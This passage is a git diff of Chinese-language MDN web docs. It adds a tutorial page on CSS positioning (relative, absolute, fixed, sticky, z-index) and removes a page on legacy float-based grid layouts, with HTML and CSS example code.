+  width: 100%;
+  max-width: 960px;
+  margin: 0 auto;
+  padding: 0 20px;
+  box-sizing: border-box;
+}
+ +

如果它们在行里面的话,元素只会是网格的一部分,所以对于前面的示例,我们需要一个额外的<div>或者其他带有row类的、内嵌到content <div>和我们实际的内容容器的<div>之间的元素。我们也已经做了这件事。

+ +

现在让我们铺开容器盒子。Skeleton基于一个12列的网格。顶端一行的盒子都需要加上one column的类,以让它们横跨一列。

+ +

现在加上这些,像是在下面的节录里面显示的那样:

+ +
<div class="container">
+  <div class="row">
+    <div class="one column">1</div>
+    <div class="one column">2</div>
+    <div class="one column">3</div>
+    /* and so on */
+  </div>
+</div>
+ +

然后,给第二行的容器加上解释它们应该横跨几个列的类,像这样:

+ +
<div class="row">
+  <div class="one column">13</div>
+  <div class="six columns">14</div>
+  <div class="three columns">15</div>
+  <div class="two columns">16</div>
+</div>
+ +

试着保存你的HTML,在你的浏览器里面载入,看下效果。

+ +
+

备注:如果你在实现这个示例的时候遇到麻烦,试着拿它和我们的html-skeleton-finished.html文件进行比较(另见实时运行版)。

+
+ +

如果你看下skeleton.css文件的内容,你能理解这是如何实现的。例如,Skeleton有下面的定义内容,用于样式化加入了“three colomns”类的元素。

+ +
.three.columns { width: 22%; }
+ +

Skeleton(或者其他任何网格框架)正在做的所有事情是,设定一个预定义的类,你可以通过把它们加到你的标记文件里面的方式使用这些框架,和你自己做计算这些百分数的工作完全是一样的。

+ +

正如你所看到的这样,我们使用Skeleton的时候,几乎不需要写多少CSS。它在我们向标记文本里面加类的时候,替我们处理了所有的浮动。正是把布局的责任甩给其他人的可能性,使得使用用于网格系统的框架成为了一个强制性的选择!但是现在来看,有了CSS网格布局,许多开发者正在停止使用这些框架,转而使用CSS提供的内建的原生网格。

+ +

小结

+ +

你现在理解了多种网格系统是如何建立的。这将会在处理老网站的时候,以及理解CSS网格布局的原生网格和那些老系统的不同的时候帮到你。

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

+ +

模块目录

+ + diff --git a/files/zh-cn/learn/css/css_layout/positioning/index.html b/files/zh-cn/learn/css/css_layout/positioning/index.html new file mode 100644 index 0000000000..cbfa094300 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/positioning/index.html @@ -0,0 +1,615 @@ +--- +title: 定位 +slug: Learn/CSS/CSS_layout/定位 +tags: + - CSS + - 初学者 + - 定位 + - 布局 + - 指南 + - 相对定位 + - 绝对定位 +translation_of: Learn/CSS/CSS_layout/Positioning +--- +
+

{{LearnSidebar}}

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout")}}

+
+ +

定位允许您从正常的文档流布局中取出元素,并使它们具有不同的行为,例如放在另一个元素的上面,或者始终保持在浏览器视窗内的同一位置。 本文解释的是定位({{cssxref("position")}})的各种不同值,以及如何使用它们。

+ + + + + + + + + + + + +
预备知识:HTML 基础 (学习 HTML导学)和CSS怎样工作的 (学习 CSS导学)
目的:了解CSS定位的工作原理
+ +

文档流

+ +

定位是一个相当复杂的话题,所以我们深入了解代码之前,让我们审视一下布局理论,并让我们了解它的工作原理。

+ +

首先,围绕元素内容添加任何内边距、边界和外边距来布置单个元素盒子——这就是 盒模型 ,我们前面看过。 默认情况下,块级元素的内容宽度是其父元素的宽度的100%,并且与其内容一样高。内联元素高宽与他们的内容高宽一样。您不能对内联元素设置宽度或高度——它们只是位于块级元素的内容中。 如果要以这种方式控制内联元素的大小,则需要将其设置为类似块级元素 display: block;

+ +

这只是解释了单个元素,但是元素相互之间如何交互呢? 正常的布局流(在布局介绍文章中提到)是将元素放置在浏览器视口内的系统。默认情况下,块级元素在视口中垂直布局——每个都将显示在上一个元素下面的新行上,并且它们的外边距将分隔开它们。

+ +

内联元素表现不一样——它们不会出现在新行上;相反,它们互相之间以及任何相邻(或被包裹)的文本内容位于同一行上,只要在父块级元素的宽度内有空间可以这样做。如果没有空间,那么溢流的文本或元素将向下移动到新行。

+ +

如果两个相邻元素都在其上设置外边距,并且两个外边距接触,则两个外边距中的较大者保留,较小的一个消失——这叫外边距折叠, 我们之前也遇到过。

+ +

让我们来看一个简单的例子来解析这一切:

+ +
<h1>Basic document flow</h1>
+
+<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p>
+
+<p>By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.</p>
+
+<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p>
+
+<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p>
+ +
body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+ +

{{ EmbedLiveSample('文档流', '100%', 500) }}

+ +

在我们阅读本文时,我们将多次重复这个例子,因为我们要展示不同定位选项的效果。

+ +

如果可能,我们希望您在本地计算机上跟随练习 — 从GitHub仓库下载一个0_basic-flow.html (源代码) 然后用它作为我们的起步点。

+ +

介绍定位

+ +

定位的整个想法是允许我们覆盖上面描述的基本文档流行为,以产生有趣的效果。如果你想稍微改变布局中一些盒子的位置,使它们的默认布局流程位置稍微有点古怪,不舒服的感觉呢?定位是你的工具。或者,如果您想要创建一个浮动在页面其他部分顶部的UI元素,并且/或者始终停留在浏览器窗口内的相同位置,无论页面滚动多少?定位使这种布局工作成为可能。

+ +

有许多不同类型的定位,您可以对HTML元素生效。要使某个元素上的特定类型的定位,我们使用{{cssxref("position")}}属性。

+ +

静态定位

+ +

静态定位是每个元素获取的默认值——它只是意味着“将元素放入它在文档布局流中的正常位置 ——这里没有什么特别的。

+ +

为了演示这一点,并为以后的部分设置示例,首先在HTML中添加一个positioned 的 class 到第二个{{htmlelement("p")}}:

+ +
<p class="positioned"> ... </p>
+ +

现在,将以下规则添加到CSS的底部:

+ +
.positioned {
+  position: static;
+  background: yellow;
+}
+ +

如果现在保存和刷新,除了第2段的更新的背景颜色,根本没有差别。这很好——正如我们之前所说,静态定位是默认行为!

+ +
+

注意:你可以在 1_static-positioning.html 查看这个例子 (see source code)。

+
+ +

相对定位

+ +

相对定位是我们将要看的第一个位置类型。 它与静态定位非常相似,占据在正常的文档流中,除了你仍然可以修改它的最终位置,包括让它与页面上的其他元素重叠。 让我们继续并更新代码中的 position 属性:

+ +
position: relative;
+ +

如果您在此阶段保存并刷新,则结果根本不会发生变化。那么如何修改元素的位置呢? 您需要使用{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}}属性 ,我们将在下一节中解释。

+ +

介绍 top, bottom, left,  right

+ +

{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, 和 {{cssxref("right")}} 来精确指定要将定位元素移动到的位置。 要尝试这样做,请在CSS中的 .positioned 规则中添加以下声明:

+ +
top: 30px;
+left: 30px;
+ +
+

注意:这些属性的值可以采用逻辑上期望的任何单位 ——px,mm,rems,%等。

+
+ +

如果你现在保存和刷新,你会得到一个这样的结果:

+ + + +

{{ EmbedLiveSample('介绍_top_bottom_left_right', '100%', 500) }}

+ +

酷,是吗? 好吧,所以这个结果这可能不是你期待的——为什么它移动到底部和右边,但我们指定顶部和左边? 听起来不合逻辑,但这只是相对定位工作的方式——你需要考虑一个看不见的力,推动定位的盒子的一侧,移动它的相反方向。 所以例如,如果你指定 top: 30px;一个力推动框的顶部,使它向下移动30px。

+ +
+

注意: 你可以在 2_relative-positioning.html 查看这个例子 (see source code)。

+
+ +

绝对定位

+ +

绝对定位带来了非常不同的结果。让我们尝试改变代码中的位置声明如下:

+ +
position: absolute;
+ +

如果你现在保存和刷新,你应该看到这样:

+ + + +

{{ EmbedLiveSample('绝对定位', '100%', 420) }}

+ +

首先,请注意,定位的元素应该在文档流中的间隙不再存在——第一和第三元素已经靠在一起,就像第二个元素不再存在!好吧,在某种程度上,这是真的。绝对定位的元素不再存在于正常文档布局流中。相反,它坐在它自己的层独立于一切。这是非常有用的:这意味着我们可以创建不干扰页面上其他元素的位置的隔离的UI功能 。例如,弹出信息框和控制菜单;翻转面板;可以在页面上的任何地方拖放的UI功能……

+ +

第二,注意元素的位置已经改变——这是因为{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}}以不同的方式在绝对定位。 它们指定元素应距离每个包含元素的边的距离,而不是指定元素应该移入的方向。 所以在这种情况下,我们说的绝对定位元素应该位于从“包含元素”的顶部30px,从左边30px。

+ +
+

注意:如果需要,您可以使用{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}} 调整元素大小。 尝试设置 top: 0; bottom: 0; left: 0; right: 0; 和 margin: 0; 对你定位的元素,看看会发生什么! 之后再回来

+
+ +
+

注意:是的,margins 仍会影响定位的元素。 然而margin collapsing不会。

+
+ +
+

注意:你可以在3_absolute-positioning.html 查看这个例子(see source code)。

+
+ +

定位上下文

+ +

哪个元素是绝对定位元素的“包含元素“?这取决于绝对定位元素的父元素的position属性。(参见 Identifying the containing block).

+ +

如果所有的父元素都没有显式地定义position属性,那么所有的父元素默认情况下position属性都是static。结果,绝对定位元素会被包含在初始块容器中。这个初始块容器有着和浏览器视口一样的尺寸,并且<html>元素也被包含在这个容器里面。简单来说,绝对定位元素会被放在<html>元素的外面,并且根据浏览器视口来定位。

+ +

绝对定位元素在HTML源代码中,是被放在<body>中的,但是在最终的布局里面,它离页面(而不是<body>)的左边界、上边界有30px的距离。我们可以改变定位上下文 —— 绝对定位的元素的相对位置元素。通过设置其中一个父元素的定位属性 —— 也就是包含绝对定位元素的那个元素(如果要设置绝对定位元素的相对元素,那么这个元素一定要包含绝对定位元素)。 为了演示这一点,将以下声明添加到您的body规则中:

+ +
position: relative;
+ +

应该得到以下结果:

+ + + +

{{ EmbedLiveSample('定位上下文', '100%', 420) }}

+ +

定位的元素现在相对于{{htmlelement("body")}}元素。

+ +
+

注意:你可以在这里看到这个例子 4_positioning-context.html (see source code).

+
+ +

介绍 z-index

+ +

所有这些绝对定位很有趣,但还有另一件事我们还没有考虑到 ——当元素开始重叠,什么决定哪些元素出现在其他元素的顶部? 在我们已经看到的示例中,我们在定位上下文中只有一个定位的元素,它出现在顶部,因为定位的元素胜过未定位的元素。 当我们有不止一个的时候呢?

+ +

尝试添加以下到您的CSS,使第一段也是绝对定位:

+ +
p:nth-of-type(1) {
+  position: absolute;
+  background: lime;
+  top: 10px;
+  right: 30px;
+}
+ +

此时,您将看到第一段的颜色为绿色,移出文档流程,并位于原始位置上方一点。它也堆叠在原始的 .positioned 段落下,其中两个重叠。这是因为 .positioned 段落是源顺序(HTML标记)中的第二个段落,并且源顺序中后定位的元素将赢得先定位的元素。

+ +

您可以更改堆叠顺序吗?是的,您可以使用{{cssxref("z-index")}}属性。 “z-index”是对z轴的参考。你可以从源代码中的上一点回想一下,我们使用水平(x轴)和垂直(y轴)坐标来讨论网页,以确定像背景图像和阴影偏移之类的东西的位置。 (0,0)位于页面(或元素)的左上角,x和y轴跨页面向右和向下(适合从左到右的语言,无论如何)。

+ +

网页也有一个z轴:一条从屏幕表面到你的脸(或者在屏幕前面你喜欢的任何其他东西)的虚线。{{cssxref("z-index")}} 值影响定位元素位于该轴上的位置;正值将它们移动到堆栈上方,负值将它们向下移动到堆栈中。默认情况下,定位的元素都具有z-index为auto,实际上为0。

+ +

要更改堆叠顺序,请尝试将以下声明添加到 p:nth-of-type(1) 规则中:

+ +
z-index: 1;
+ +

你现在应该可以看到完成的例子:

+ + + +

{{ EmbedLiveSample('介绍_z-index', '100%', 400) }}

+ +

请注意,z-index只接受无单位索引值;你不能指定你想要一个元素是Z轴上23像素—— 它不这样工作。 较高的值将高于较低的值,这取决于您使用的值。 使用2和3将产生与300和40000相同的效果。

+ +
+

注意:你可以在这里看到这个例子 5_z-index.html (see source code).

+
+ +

固定定位

+ +

还有一种类型的定位覆盖——fixed。 这与绝对定位的工作方式完全相同,只有一个主要区别:绝对定位固定元素是相对于 {{htmlelement("html")}} 元素或其最近的定位祖先,而固定定位固定元素则是相对于浏览器视口本身。 这意味着您可以创建固定的有用的UI项目,如持久导航菜单。

+ +

让我们举一个简单的例子来说明我们的意思。首先,从CSS中删除现有的 p:nth-of-type(1) 和.positioned 规则。

+ +

现在,更新 body 规则以删除position: relative; 声明并添加固定高度,如此:

+ +
body {
+  width: 500px;
+  height: 1400px;
+  margin: 0 auto;
+}
+ +

现在我们要给{{htmlelement("h1")}}元素 position: fixed;,并让它坐在视口的顶部中心。将以下规则添加到CSS:

+ +
h1 {
+  position: fixed;
+  top: 0;
+  width: 500px;
+  margin: 0 auto;
+  background: white;
+  padding: 10px;
+}
+ +

 top: 0;是要使它贴在屏幕的顶部;我们然后给出标题与内容列相同的宽度,并使用可靠的老技巧 margin: 0 auto; 使它居中。 然后我们给它一个白色背景和一些内边距,所以内容将不会在它下面可见。

+ +

如果您现在保存并刷新,您会看到一个有趣的小效果,标题保持固定,内容显示向上滚动并消失在其下。 但是我们可以改进这一点——目前标题下面挡住一些内容的开头。这是因为定位的标题不再出现在文档流中,所以其他内容向上移动到顶部。 我们要把它向下移动一点;我们可以通过在第一段设置一些顶部边距来做到这一点。添加:

+ +
p:nth-of-type(1) {
+  margin-top: 60px;
+}
+ +

你现在应该看到完成的例子:

+ + + +

{{ EmbedLiveSample('固定定位', '100%', 400) }}

+ +
+

注意:你可以在这里看到这个例子6_fixed-positioning.html (see source code).

+
+ +

position: sticky

+ +

还有一个可用的位置值称为 position: sticky,比起其他位置值要新一些。它基本上是相对位置和固定位置的混合体,它允许被定位的元素表现得像相对定位一样,直到它滚动到某个阈值点(例如,从视口顶部起1​​0像素)为止,此后它就变得固定了。例如,它可用于使导航栏随页面滚动直到特定点,然后粘贴在页面顶部。

+ + + +
.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}
+ +

{{ EmbedLiveSample('Sticky_1', '100%', 200) }}

+ +

position: sticky 的另一种有趣且常用的用法,是创建一个滚动索引页面。在此页面上,不同的标题会停留在页面顶部。这样的示例的标记可能如下所示:

+ +
<h1>Sticky positioning</h1>
+
+<dl>
+    <dt>A</dt>
+    <dd>Apple</dd>
+    <dd>Ant</dd>
+    <dd>Altimeter</dd>
+    <dd>Airplane</dd>
+    <dt>B</dt>
+    <dd>Bird</dd>
+    <dd>Buzzard</dd>
+    <dd>Bee</dd>
+    <dd>Banana</dd>
+    <dd>Beanstalk</dd>
+    <dt>C</dt>
+    <dd>Calculator</dd>
+    <dd>Cane</dd>
+    <dd>Camera</dd>
+    <dd>Camel</dd>
+    <dt>D</dt>
+    <dd>Duck</dd>
+    <dd>Dime</dd>
+    <dd>Dipstick</dd>
+    <dd>Drone</dd>
+    <dt>E</dt>
+    <dd>Egg</dd>
+    <dd>Elephant</dd>
+    <dd>Egret</dd>
+</dl>
+ +

CSS可能如下所示。在正常布局流中,{{htmlelement("dt")}}元素将随内容滚动。当我们在{{htmlelement("dt")}}元素上添加position: sticky,并将{{cssxref("top")}}的值设置为0,当标题滚动到视口的顶部时,支持此属性的浏览器会将标题粘贴到那个位置。随后,每个后续标题将替换前一个标题,直到它向上滚动到该位置。

+ +
dt {
+  background-color: black;
+  color: white;
+  padding: 10px;
+  position: sticky;
+  top: 0;
+  left: 0;
+  margin: 1em 0;
+}
+
+ + + +

{{ EmbedLiveSample('Sticky_2', '100%', 200) }}

+ +
+

注意:你可以在 7_sticky-positioning.html 查看这个例子(see source code)。

+
+ +

试试你的技术!

+ +

这篇文章到此为止了,但你们能记住最重要的信息吗?在继续之前,您可以找到一些进一步的测试来验证是否完全掌握了这个知识:试试你的技术

+ +

总结

+ +

我相信你用基本定位愉快地玩耍;它是创建复杂的CSS布局和UI功能背后的基本工具之一。 考虑到这一点,在下一篇文章中,我们将更有趣的定位——我们将进一步,开始建立一些真实世界有用的东西。

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout")}}

+ +

在本单元中

+ + diff --git "a/files/zh-cn/learn/css/css_layout/\344\274\240\347\273\237\347\232\204\345\270\203\345\261\200\346\226\271\346\263\225/index.html" "b/files/zh-cn/learn/css/css_layout/\344\274\240\347\273\237\347\232\204\345\270\203\345\261\200\346\226\271\346\263\225/index.html" deleted file mode 100644 index 58313b6fdd..0000000000 --- "a/files/zh-cn/learn/css/css_layout/\344\274\240\347\273\237\347\232\204\345\270\203\345\261\200\346\226\271\346\263\225/index.html" +++ /dev/null @@ -1,577 +0,0 @@ ---- -title: 传统的布局方法 -slug: Learn/CSS/CSS_layout/传统的布局方法 -translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods ---- -
{{LearnSidebar}}
- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

- -

在CSS布局中,网格系统是一种非常常见的布局方式,并且在CSS 网格布局之前,它们倾向于由浮动和其他的布局功能实现。假想你的布局是一组数字标注的列(例如4、6或者12),然后把你的内容填充到这些想象的列中。这篇文章将要探讨这种早期的方法是怎么实现的,来帮助你在旧项目工作时更好地理解他们。

- - - - - - - - - - - - -
学习前提:HTML 基础(学习 Introduction to HTML),并且了解CSS是怎么工作的(学习 Introduction to CSS and Styling boxes.)
目标:了解浏览器CSS网格布局系统的基本概念。
- -

CSS网格布局之前的布局与网格系统

- -

一个来自设计领域的人或许会惊讶,CSS直到最近才有网格系统,不仅如此,我们还用了许多次优方法来建立类网格设计。我们现在把这些称为“古老”的方法。

- -

对于新项目来说,大多数情况下CSS网格布局(CSS Grid Layout)被用来和其他一个或多个现代的布局方法结合,以形成布局的基础。但是你会时不时的遇到采用这种古老方法的“网格系统”。值得了解它们是如何工作的,以及为什么它们和CSS网格布局不同。

- -

这个课程将会解释基于float和flexbox的网格系统和网格框架是如何工作的。学习过网格布局之后,你可能会惊讶,这些看起来真的好复杂!如果你需要为不支持新技术的老浏览器上创建后备代码的话,这些知识将会变的十分有用,而且你也可以在使用这些类别系统的已有工程上工作。

- -

值得铭记在心的是,在我们探索这些系统时,它们里面没有哪个的建立方式是像通过CSS网格布局创建网格那样,真的建立一个网格。他们通过给目标一个大小, 然后推动它们,让它们看起来像网格一样排列成一条线。

- -

两列布局

- -

让我们从最简单的实例开始——一个两列布局。你可以按照步骤在你的电脑上创建一个新的 index.html,先用一个简单HTML模板填充它,然后在适当的位置填充下面的代码。在这节底部,你可以看到一个展示最终代码样貌的实时实例。

- -

首先,我们需要在我们的栏中放入一些内容。把现在在body中的内容替换成下面的代码:

- -
<h1>2 column layout example</h1>
-<div>
-  <h2>First column</h2>
-  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-</div>
-
-<div>
-  <h2>Second column</h2>
-  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
-</div>
- -

每一列都需要一个上一级元素来包含内容,这样我们可以一次性操作所有内容。在这个例子中我们选择了{{htmlelement("div")}}, 但是你可以选择其他更合适的,例如{{htmlelement("article")}}, {{htmlelement("section")}}, 和 {{htmlelement("aside")}},或者是任何别的元素。

- -

现在我们来看CSS。首先,应用以下的代码来对HTML进行基本设置:

- -
body {
-  width: 90%;
-  max-width: 900px;
-  margin: 0 auto;
-}
- -

body将会占据90%的视口宽度,直到达到900像素,在这种情况下,它将固定并保持在视口正中。 默认情况下,它的子项(the {{htmlelement("h1")}} 和两个 {{htmlelement("div")}})将会达到正文宽度的100%。如果我们希望两个{{htmlelement("div")}},一个浮在窗口的一边,另一个浮动在另一边的话, 我们需要将它们的宽度设置为其父元素的100%或者更小,以便他们可以并排放置。将下面的代码加在CSS的底部:

- -
div:nth-of-type(1) {
-  width: 48%;
-}
-
-div:nth-of-type(2) {
-  width: 48%;
-}
- -

这里我们将它们都设置为了父元素宽度的48%——总共是96%,在两栏之间留4%的空隙,为它们提供一些宽松的空间。现在我们只需要将让列浮动,像这样:

- -
div:nth-of-type(1) {
-  width: 48%;
-  float: left;
-}
-
-div:nth-of-type(2) {
-  width: 48%;
-  float: right;
-}
- -

将这些都放在一起,会得到这样的结果:

- -
- -
- -

{{ EmbedLiveSample('Floated_Two_Col', '100%', 520) }}

- -

你有没有注意到我们在宽度的表示上都用的是百分比——这是一个很好的策略,这创建了一个流动布局(liquid layout),能够适应不同的屏幕大小,在小一些的屏幕上也能使列保持一样的比例。试一试自己来调整浏览器窗口的宽度,这是响应式网页非常有价值的一个工具。

- -
-

备注:你可以在 0_two-column-layout.html 实时查看这个实例(另见源代码)。

-
- -

创建简单的传统网格框架

- -

大多数传统的框架使用{{cssxref("float")}}属性来使列相邻排列,让它们看起来像是一个网格。以用float创建网格的流程工作,可以向你展示它们工作的原理,并介绍一些更高级的概念,并在浮动和清除这节课中学到的内容之上搭建更多的东西。

- -

最简单的一类网格创建是固定宽度的——我们只需要计算设计中总的宽度、列的数目、每一列和间隔的宽度。但是,如果我们决定设计的网格是可以根据浏览器宽度缩放的,我们则需要计算每一列和间距的所占的宽度的百分比。

- -

下一部分我们将学习如何创建这两种方式的网格。我们会构建一个有12列的表格——我们选择了12这个常见的数字,来看它对不同情景的适应情况,因为12可以被6,4,3,和2完全整除。

- -

一个简单的固定宽度网格

- -

让我们先来创建一个固定列宽度的网格系统吧。

- -

首先,把 simple-grid.html下载储存下来,其body中包含以下的标记:

- -
<div class="wrapper">
-  <div class="row">
-    <div class="col">1</div>
-    <div class="col">2</div>
-    <div class="col">3</div>
-    <div class="col">4</div>
-    <div class="col">5</div>
-    <div class="col">6</div>
-    <div class="col">7</div>
-    <div class="col">8</div>
-    <div class="col">9</div>
-    <div class="col">10</div>
-    <div class="col">11</div>
-    <div class="col">12</div>
-  </div>
-  <div class="row">
-    <div class="col span1">13</div>
-    <div class="col span6">14</div>
-    <div class="col span3">15</div>
-    <div class="col span2">16</div>
-  </div>
-</div>
- -

我们的目标是把它变成一个有两行十二列的演示网格——第一行显示各列的大小,第二行显示网格上不同大小的区域。

- -

- -

在{{htmlelement("style")}}中,加入下面的代码,使容器右侧的内边距为20像素,总的宽度变为980像素。这样给我们留出960像素可以放置列和它们的间隔——这种情况下,内边距会被从总的内容宽度中减去,因为我们在{{cssxref("box-sizing")}}中将站点上所有的元素设置成了border-box (可以查看完全改变盒模型,获得更多解释)。

- -
* {
-  box-sizing: border-box;
-}
-
-body {
-  width: 980px;
-  margin: 0 auto;
-}
-
-.wrapper {
-  padding-right: 20px;
-}
- -

现在使用包装了网格每行的列容器,清除网格中每行的浮动,在你前面的规则里加入下面的规则:

- -
.row {
-  clear: both;
-}
- -

应用这条清除规则,意味着我们不用在每行上都填充12列元素。行与行之间不会互相干扰,并保持分隔。

- -

列与列之间保持20像素的间隔。我们使用每列元素的左外边框来实现这个间隔。然后我们一共有12个间隔 — 12 x 20 = 240。

- -

我们需要从960px的总宽减去这个间隔,然后剩下720像素给我们的列。如果用720除以12,我们知道每列有60个像素宽。

- -

接下来我们给.col类写一个规则,  让它向左浮动,给它设置20像素的{{cssxref("margin-left")}}来实现一个间隔,再设置60像素的{{cssxref("width")}}。把下面的规则加到你的CSS底部:

- -
.col {
-  float: left;
-  margin-left: 20px;
-  width: 60px;
-  background: rgb(255, 150, 150);
-}
- -

单个列的最上面一行现在铺开成为了一个排列整齐的网格。

- -
-

备注:我们也已经让每列变成亮红色,这样你就能准确看到每列占据了多少空间。

-
- -

如果我们想让布局容器横跨多列,必须要给它设置特殊的类,来适应列的数量的{{cssxref("width")}} 值(加上间隔的值)。我们需要新建额外的类来允许横跨2-12列。每个宽度是将该列数的列宽加上间隔宽度相加的结果,这些宽度总是比列数少一个。

- -

在你的CSS底部加入下面的内容:

- -
/* Two column widths (120px) plus one gutter width (20px) */
-.col.span2 { width: 140px; }
-/* Three column widths (180px) plus two gutter widths (40px) */
-.col.span3 { width: 220px; }
-/* And so on... */
-.col.span4 { width: 300px; }
-.col.span5 { width: 380px; }
-.col.span6 { width: 460px; }
-.col.span7 { width: 540px; }
-.col.span8 { width: 620px; }
-.col.span9 { width: 700px; }
-.col.span10 { width: 780px; }
-.col.span11 { width: 860px; }
-.col.span12 { width: 940px; }
- -

创建了这些类以后,我们可以在网格上布局不同宽度的列。试试保存并在你的浏览器上加载这个页面,来查看效果。

- -
-

备注: 如果你在让上面的示例实现的时候正遇到麻烦,尝试将它和我们在GitHub上的完成版进行比较(再看下实时的示例)。

-
- -

试试修改这些类,甚至添加、删除一些容器,来看看你能怎么改变这个布局。例如,你可以把第二行写成这样:

- -
<div class="row">
-  <div class="col span8">13</div>
-  <div class="col span4">14</div>
-</div>
- -

现在你的网格布局生效了。你可以简单的定义这些行,和每行的列数,然后给他们添加你想要的内容。真棒!

- -

创建液态网格

- -

这个网格表现的不错,但是它长度固定。 我们实际却想要一个弹性(流体)的网格,它可以随着浏览器的{{Glossary("viewport")}}大小的变化自动伸缩。为了达成这个目标,我们需要把相应的像素的长度变为百分比长度。

- -

把固定宽度转为伸缩的基于百分比宽度的算式在下面:

- -
target / context = result
- -

在我们的列宽里,我们的目标列长度是60像素,我们的上下文是960像素的包装。我们可以这么计算百分比:

- -
60 / 960 = 0.0625
- -

然后我们挪动小数点两位,得到百分数6.25%。所以在CSS里面,我们可以用6.25%代替60像素。

- -

我们需要同样这么算间隔:

- -
20 / 960 = 0.02083333333
- -

所以我们需要用2.08333333%代替.col里{{cssxref("margin-left")}}的20像素,和.wrapper里{{cssxref("padding-right")}}的20像素。

- -

更新我们的网格

- -

创建一个之前例子网页的副本。然后开始这个章节,或者制作一个simple-grid-finished.html代码的本地副本,以将其作为入手点。

- -

更新第二个CSS规则(有着.wrapper选择器),像下面这样:

- -
body {
-  width: 90%;
-  max-width: 980px;
-  margin: 0 auto;
-}
-
-.wrapper {
-  padding-right: 2.08333333%;
-}
- -

我们不仅给它一个百分比的{{cssxref("width")}},还添加了{{cssxref("max-width")}}属性,来确保布局不过于宽。

- -

下一步,更新第四条CSS规则(有.col选择器),像这样:

- -
.col {
-  float: left;
-  margin-left: 2.08333333%;
-  width: 6.25%;
-  background: rgb(255, 150, 150);
-}
- -

现在做些稍微麻烦的事 — 我们需要更新所有 .col.span 规则来把像素变为百分比。这需要点时间计算;为节省你的功夫,我们在下面替你做了。

- -

像下面这样更新CSS规则的底部块:

- -
/* Two column widths (12.5%) plus one gutter width (2.08333333%) */
-.col.span2 { width: 14.58333333%; }
-/* Three column widths (18.75%) plus two gutter widths (4.1666666) */
-.col.span3 { width: 22.91666666%; }
-/* And so on... */
-.col.span4 { width: 31.24999999%; }
-.col.span5 { width: 39.58333332%; }
-.col.span6 { width: 47.91666665%; }
-.col.span7 { width: 56.24999998%; }
-.col.span8 { width: 64.58333331%; }
-.col.span9 { width: 72.91666664%; }
-.col.span10 { width: 81.24999997%; }
-.col.span11 { width: 89.5833333%; }
-.col.span12 { width: 97.91666663%; }
- -

现在保存你的代码,从浏览器里加载它,尝试改变视口长度——你应该可以看到网格完美地适配了。

- -
-

备注:如果你在让上面的示例实现的时候正遇到困难,试着把它和我们GitHub上的完成版比较(另见实时的示例)。

-
- -

使用calc()函数的更简单计算

- -

你可以用 {{cssxref("calc()")}} 函数来在CSS里面做数学方面的计算——这允许你在CSS里插入简单的算式,来计算那些值。这个会很有用,特别当你有个复杂计算的时候,甚至你还可以在算式里用不同的单位,比如“我想要这个元素一直比它父元素少50像素”。看下这个来自MediaRecorder API教程的示例

- -

言归正传, 来讲我们的网格!我们网格里跨越超过一列的列,它的总长是6.45%乘跨越的列数加 2.08333333%,乘间隔数(间隔数总等于行数减一)。calc() 函数允许我们就在宽度值里面这么计算,所以对跨越4列的列我们可以这么算:

- -
.col.span4 {
-  width: calc((6.25%*4) + (2.08333333%*3));
-}
- -

试着用下面的内容替换你底部的规则块,然后在浏览器中重载,看看你是否能得到相同的结果:

- -
.col.span2 { width: calc((6.25%*2) + 2.08333333%); }
-.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); }
-.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); }
-.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); }
-.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); }
-.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); }
